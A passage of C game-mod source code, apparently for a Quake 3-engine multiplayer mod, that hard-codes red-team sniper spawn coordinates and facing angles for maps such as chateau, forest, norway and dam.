deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 741;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 1120;
deathmatchspawn[1]= -224;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 1058;
deathmatchspawn[1]= -224;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 991;
deathmatchspawn[1]= -224;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 927;
deathmatchspawn[1]= -225;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 864;
deathmatchspawn[1]= -225;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= 800;
deathmatchspawn[1]= -226;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= 737;
deathmatchspawn[1]= -226;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "boss1")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -2563;
deathmatchspawn[1]= -920;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -2498;
deathmatchspawn[1]= -920;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -2616;
deathmatchspawn[1]= -920;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -2616;
deathmatchspawn[1]= -863;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -2563;
deathmatchspawn[1]= -863;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -2496;
deathmatchspawn[1]= -863;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -2494;
deathmatchspawn[1]= -793;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -2564;
deathmatchspawn[1]= -792;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -2617;
deathmatchspawn[1]= -791;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -2490;
deathmatchspawn[1]= -737;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -2620;
deathmatchspawn[1]= -738;
deathmatchspawn[2]= 48;
deathmatchangles[1]= 90;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "chateau")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -1809;
deathmatchspawn[1]= 2811;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -1870;
deathmatchspawn[1]= 2811;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 1648;
deathmatchspawn[1]= 2228;
deathmatchspawn[2]= -23;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 1648;
deathmatchspawn[1]= 2289;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -1742;
deathmatchspawn[1]= 2810;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -1682;
deathmatchspawn[1]= 2810;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 1647;
deathmatchspawn[1]= 2673;
deathmatchspawn[2]= -23;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 1647;
deathmatchspawn[1]= 2612;
deathmatchspawn[2]= -23;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -1426;
deathmatchspawn[1]= 2808;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -1487;
deathmatchspawn[1]= 2808;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 1588;
deathmatchspawn[1]= 2228;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 1587;
deathmatchspawn[1]= 2673;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= -1553;
deathmatchspawn[1]= 2809;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= -1613;
deathmatchspawn[1]= 2811;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= 1587;
deathmatchspawn[1]= 2289;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= 1587;
deathmatchspawn[1]= 2613;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 180;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "forest")){
if(level.flagteam == TEAM_RED){/*
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 2077;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 601;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 2158;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 598;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 2261;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 589;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 2361;
deathmatchspawn[1]= 5307;
deathmatchspawn[2]= 584;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 2081;
deathmatchspawn[1]= 5199;
deathmatchspawn[2]= 592;
deathmatchangles[1]= -91;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 2162;
deathmatchspawn[1]= 5196;
deathmatchspawn[2]= 592;
deathmatchangles[1]= -91;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 2264;
deathmatchspawn[1]= 5193;
deathmatchspawn[2]= 589;
deathmatchangles[1]= -89;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 2082;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -85;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 2164;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -88;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 2261;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -83;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 2357;
deathmatchspawn[1]= 5110;
deathmatchspawn[2]= 583;
deathmatchangles[1]= -81;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 2357;
deathmatchspawn[1]= 5207;
deathmatchspawn[2]= 584;
deathmatchangles[1]= -87;
level.RedSniperSpawnPoint = 0;
}
*/
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -66;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 3;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -178;
deathmatchspawn[1]= 3484;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -248;
deathmatchspawn[1]= 3484;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -29;
deathmatchspawn[1]= 3675;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 37;
deathmatchspawn[1]= 3675;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -221;
deathmatchspawn[1]= 3676;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -288;
deathmatchspawn[1]= 3676;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 74;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -310;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}else{
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -6480;
deathmatchspawn[1]= -967;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -6391;
deathmatchspawn[1]= -961;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -6322;
deathmatchspawn[1]= -955;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -6248;
deathmatchspawn[1]= -950;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -6192;
deathmatchspawn[1]= -963;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -6121;
deathmatchspawn[1]= -970;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -6042;
deathmatchspawn[1]= -964;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 4;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -5974;
deathmatchspawn[1]= -966;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -6459;
deathmatchspawn[1]= -893;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -6393;
deathmatchspawn[1]= -885;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -6313;
deathmatchspawn[1]= -875;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= -6233;
deathmatchspawn[1]= -874;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= -6162;
deathmatchspawn[1]= -886;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= -6103;
deathmatchspawn[1]= -879;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= -6014;
deathmatchspawn[1]= -868;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= -5933;
deathmatchspawn[1]= -858;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 16){
deathmatchspawn[0]= -6418;
deathmatchspawn[1]= -811;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 17){
deathmatchspawn[0]= -6359;
deathmatchspawn[1]= -807;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 18){
deathmatchspawn[0]= -6303;
deathmatchspawn[1]= -808;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 19){
deathmatchspawn[0]= -6222;
deathmatchspawn[1]= -804;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 20){
deathmatchspawn[0]= -6151;
deathmatchspawn[1]= -810;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 21){
deathmatchspawn[0]= -6079;
deathmatchspawn[1]= -802;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 22){
deathmatchspawn[0]= -5995;
deathmatchspawn[1]= -792;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
}else if(level.RedSniperSpawnPoint == 23){
deathmatchspawn[0]= -5949;
deathmatchspawn[1]= -796;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 7;
level.RedSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "factory")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 2499;
deathmatchspawn[1]= -961;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 2500;
deathmatchspawn[1]= -1003;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 2499;
deathmatchspawn[1]= -1111;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 2501;
deathmatchspawn[1]= -1052;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 1977;
deathmatchspawn[1]= -1061;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 1977;
deathmatchspawn[1]= -1116;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 1977;
deathmatchspawn[1]= -1177;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 1977;
deathmatchspawn[1]= -1230;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 2445;
deathmatchspawn[1]= -1238;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 2435;
deathmatchspawn[1]= -1108;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 2435;
deathmatchspawn[1]= -1164;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 2433;
deathmatchspawn[1]= -1048;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= 2434;
deathmatchspawn[1]= -999;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= 2435;
deathmatchspawn[1]= -955;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= 2047;
deathmatchspawn[1]= -1175;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= 2044;
deathmatchspawn[1]= -1231;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "norway")){
if(level.flagteam == TEAM_RED){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1815;
deathmatchspawn[2]= 496;
deathmatchangles[1]= -1;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1756;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1701;
deathmatchspawn[2]= 496;
deathmatchangles[1]= -1;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1638;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1572;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1312;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1363;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1421;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 2190;
deathmatchspawn[1]= -1188;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 2190;
deathmatchspawn[1]= -1248;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 2192;
deathmatchspawn[1]= -1756;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 2191;
deathmatchspawn[1]= -1816;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}else{
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -3677;
deathmatchspawn[1]= -1225;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -3618;
deathmatchspawn[1]= -1225;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -3630;
deathmatchspawn[1]= -3224;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -3581;
deathmatchspawn[1]= -3224;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -3619;
deathmatchspawn[1]= -1281;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -3677;
deathmatchspawn[1]= -1280;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -3628;
deathmatchspawn[1]= -3161;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -3581;
deathmatchspawn[1]= -3161;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -3341;
deathmatchspawn[1]= -1226;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -3289;
deathmatchspawn[1]= -1226;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -3329;
deathmatchspawn[1]= -3231;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= -3281;
deathmatchspawn[1]= -3230;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= -3342;
deathmatchspawn[1]= -1288;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= -3287;
deathmatchspawn[1]= -1287;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -90;;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= -3327;
deathmatchspawn[1]= -3161;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= -3282;
deathmatchspawn[1]= -3161;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 16){
deathmatchspawn[0]= -3260;
deathmatchspawn[1]= -1384;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 17){
deathmatchspawn[0]= -3257;
deathmatchspawn[1]= -1331;
deathmatchspawn[2]= 528;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 18){
deathmatchspawn[0]= -3669;
deathmatchspawn[1]= -3058;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 19){
deathmatchspawn[0]= -3669;
deathmatchspawn[1]= -3112;
deathmatchspawn[2]= 519;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "rocket")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -2367;
deathmatchspawn[1]= 705;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -2367;
deathmatchspawn[1]= 766;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -2367;
deathmatchspawn[1]= 831;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -2367;
deathmatchspawn[1]= 895;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -2368;
deathmatchspawn[1]= 958;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -2368;
deathmatchspawn[1]= 1021;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 1022;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 956;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 894;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 829;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 767;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= -2287;
deathmatchspawn[1]= 709;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "sfm")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 681;
deathmatchspawn[1]= -2570;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 785;
deathmatchspawn[1]= -2570;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 879;
deathmatchspawn[1]= -2571;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 643;
deathmatchspawn[1]= -2679;
deathmatchspawn[2]= -111;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 643;
deathmatchspawn[1]= -2766;
deathmatchspawn[2]= -111;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 790;
deathmatchspawn[1]= -2893;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 886;
deathmatchspawn[1]= -2896;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 645;
deathmatchspawn[1]= -2895;
deathmatchspawn[2]= -84;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 1090;
deathmatchspawn[1]= -2911;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 1050;
deathmatchspawn[1]= -2458;
deathmatchspawn[2]= -12;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 988;
deathmatchspawn[1]= -2459;
deathmatchspawn[2]= -12;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 987;
deathmatchspawn[1]= -2567;
deathmatchspawn[2]= -98;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "dam")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -1855;
deathmatchspawn[1]= -3767;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -889;
deathmatchspawn[1]= -6274;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -1858;
deathmatchspawn[1]= -3823;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -807;
deathmatchspawn[1]= -6274;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -1859;
deathmatchspawn[1]= -3879;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -731;
deathmatchspawn[1]= -6275;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -1795;
deathmatchspawn[1]= -3767;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -642;
deathmatchspawn[1]= -6279;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -1795;
deathmatchspawn[1]= -3823;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -887;
deathmatchspawn[1]= -6211;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -1730;
deathmatchspawn[1]= -3767;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= -805;
deathmatchspawn[1]= -6213;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= -1730;
deathmatchspawn[1]= -3823;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 0;
